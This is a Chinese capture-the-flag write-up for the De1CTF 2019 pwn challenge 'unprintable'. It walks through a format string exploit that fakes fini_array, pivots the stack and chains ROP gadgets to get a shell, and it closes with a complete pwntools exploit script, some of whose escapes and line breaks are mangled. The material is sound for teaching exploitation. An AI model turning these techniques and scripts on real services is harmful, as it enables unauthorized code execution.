unprintable

admin 2022年8月22日00:46:02安全闲碎评论3 views4258字阅读14分11秒阅读模式

Challenge

  • 题目:unprintable

  • 类型:pwnable

  • 来源:De1CTF 2019

  • 环境:Ubuntu 16.04

  • 难度:Medium


Analysis

照旧先看一下保护,开启的保护倒是很少。

CANARY    : disabledFORTIFY   : disabledNX        : ENABLEDPIE       : disabledRELRO     : FULL

载入IDA,只有一个main函数,给了栈地址,输入在bss段,并且第14行存在溢出格式化字符串漏洞。同时,关闭了stdout,这意味着我们不再能leak。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  char stack; // [rsp+0h] [rbp-10h]  unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); puts("Welcome to Ch4r1l3's printf test"); printf("This is your gift: %pn", &stack);  close(1); read(0, buf, 0x1000uLL); printf(buf); exit(0);}

输入在bss段,常规的fsb利用技巧似乎不太行。在glibc-2.23/elf/dl-fini.c#L227这里就有一个小技巧,当程序结束时会执行_dl_fini这个函数。如下代码会检查fini_array是否存在函数并执行。此处的l为ld.so的struct link_map。

          /* First see whether an array is given.  */          if (l->l_info[DT_FINI_ARRAY] != NULL) // #define  DT_FINI_ARRAY  26       {        ElfW(Addr) *array =          (ElfW(Addr) *) (l->l_addr              + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);        unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val // #define  DT_FINI_ARRAYSZ  28              / sizeof (ElfW(Addr)));        while (i-- > 0)          ((fini_t) array[i]) ();      }

通过调试可以知道,在0x600dd8保存的正是fini_array_entry,并且array size为1。那么我们如果在上图中可以改掉l->l_addr,就可以控制array的值,在接下来调用函数时劫持指针。

gdb-peda$ p l->l_info[26]->d_un.d_ptr$4 = 0x600dd8gdb-peda$ p l->l_info[28]->d_un.d_val / 8$5 = 0x1gdb-peda$ x/xg 0x600dd80x600dd8:  0x00000000004006e0

而幸运的是,在栈上是存在这个指针的(在0x7fffffffe4f0)。我们可以利用fsb修改这个指针指向的内容。d_ptr的值为0x600dd8,我们控制l->l_addr为0x2d8就可以让array等于0x6010b0,而这个地址在bss段是我们可控的了。

gdb-peda$ p l$8 = (struct link_map *) 0x7ffff7ffe168gdb-peda$ telescope 0x7fffffffe448 80...0160| 0x7fffffffe4e8 --> 0x7fffffffe558 --> 0x7fffffffe788 ("LC_TERMINAL_VERSION=3.3.7")0168| 0x7fffffffe4f0 --> 0x7ffff7ffe168 --> 0x00176| 0x7fffffffe4f8 --> 0x7ffff7de77cb (<_dl_init+139>:  jmp    0x7ffff7de77a0 <_dl_init+96>)0184| 0x7fffffffe500 --> 0x0

接着,就是跳到哪里的问题,我们可以选择跳到read前面,继续执行fsb,但这一次之后程序又结束了,这里注意到栈里存在一个printf的返回地址的指针(0x7fffffffe3c0),只要把这个指针改掉,就可以构造出print loop。

gdb-peda$ telescope 0x7fffffffe330 800000| 0x7fffffffe330 --> 0x4007c6 (<main+160>:  mov    edi,0x0)...01440x7fffffffe3c0 --> 0x7fffffffe330 --> 0x4007c6 (<main+160>:  mov    edi,0x0)

没有条件时就要创造条件,这里我们需要找到一个二级指针,先创造出想要的栈指针,进而往想要的栈指针里写任意值。这里我们把0x7fffffffe370的值改为0x7fffffffe338后,就能往0x7fffffffe338里写入任意值。

[------------------------------------stack-------------------------------------]00640x7fffffffe370 --> 0x7fffffffe340 --> 0x7ffff7ffe168 --> 0x2d801040x7fffffffe398 --> 0x7fffffffe370 --> 0x7fffffffe340 --> 0x7ffff7ffe168 --> 0x2d8

接着,我们把0x7fffffffe338改为bss段的地址,把printf的返回地址改为pop rsp的地址,就可以把栈迁移到bss段上rop

=> 0x40082d <__libc_csu_init+93>:  pop    rsp   0x40082e <__libc_csu_init+94>:  pop    r13   0x400830 <__libc_csu_init+96>:  pop    r14   0x400832 <__libc_csu_init+98>:  pop    r15[------------------------------------stack-------------------------------------]0000| 0x7fffffffe338 --> 0x601080 --> 0x0

接下来就是rop了,由于不能leak,我们要想办法凑出一个libc地址,在0x4006e8处,可以让rbp指向stderr,edx为offset,就可以加出来一个libc任意地址,接着利用ret2csu就可以getshell了。

.text:00000000004006E8                 adc     [rbp+48h], edx.text:00000000004006EB                 mov     ebp, esp.text:00000000004006ED                 call    deregister_tm_clones.text:00000000004006F2                 pop     rbp.text:00000000004006F3                 mov     cs:completed_7594, 1.text:00000000004006FA                 rep retn

Solution

完整利用脚本如下。

#!/usr/bin/env python# encoding: utf-8
from pwn import *
libc = ELF('./libc-2.23.so')
r = process('./unprintable')
# leak stackr.recvuntil("gift: ")stack=int(r.recvline().strip(),16)log.info('stack:' + hex(stack))
# fake fini_arrayp = "%{}c%26$n".format(0x6010b0-0x600dd8)p = p.ljust(0x50,'x00')+p64(0x4007a3)r.sendline(p)sleep(0.5)
def write_byte(off, val): if off == 0: p = '%18$hhn' else: p = '%{}c%18$hhn'.format(off) p += '%{}c%23$hhnx00'.format((0xa3 - off)&0xff) r.sendline(p) sleep(0.5) if val == 0: p = '%13$n' else: p = '%{}c%13$hhn'.format(val) p += '%{}c%23$hhnx00'.format((0xa3 - val)&0xff) r.sendline(p) sleep(0.5)
off = (stack - 280)&0xff
# write 0x601080write_byte(off, 0x80)write_byte(off+1, 0x10)write_byte(off+2, 0x60)write_byte(off+3, 0x00)write_byte(off+4, 0x00)write_byte(off+5, 0x00)write_byte(off+6, 0x00)
# one gadgetoff = 0xf1147 - libc.sym['_IO_2_1_stderr_']
p = '%%%dc%%23$hn'% 0x82d # pop rspp = p.ljust(0x90-0x60, 'x00')p += p64(0x4006e8) # retp += p64(0x40082a) # pppppprp += p64(0) # rbxp += p64(0x601040 - 0x48) # rbpp += p64(0x601090) # r12p += p64(off & 0xffffffff) # r13p += p64(0) # r14p += p64(0) # r15p += p64(0x400810) # ret
p += p64(0x40082a) # pppppprp += p64(0) # rbxp += p64(0) # rbpp += p64(0x601040) # r12p += p64(0) # r13p += p64(0) # r14p += p64(0) # r15p += p64(0x400810) # retp += p64(0xdeadbeaf)r.sendline(p)
r.interactive()






原文始发于微信公众号(pwnable):unprintable

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月22日00:46:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  unprintable http://cn-sec.com/archives/622014.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: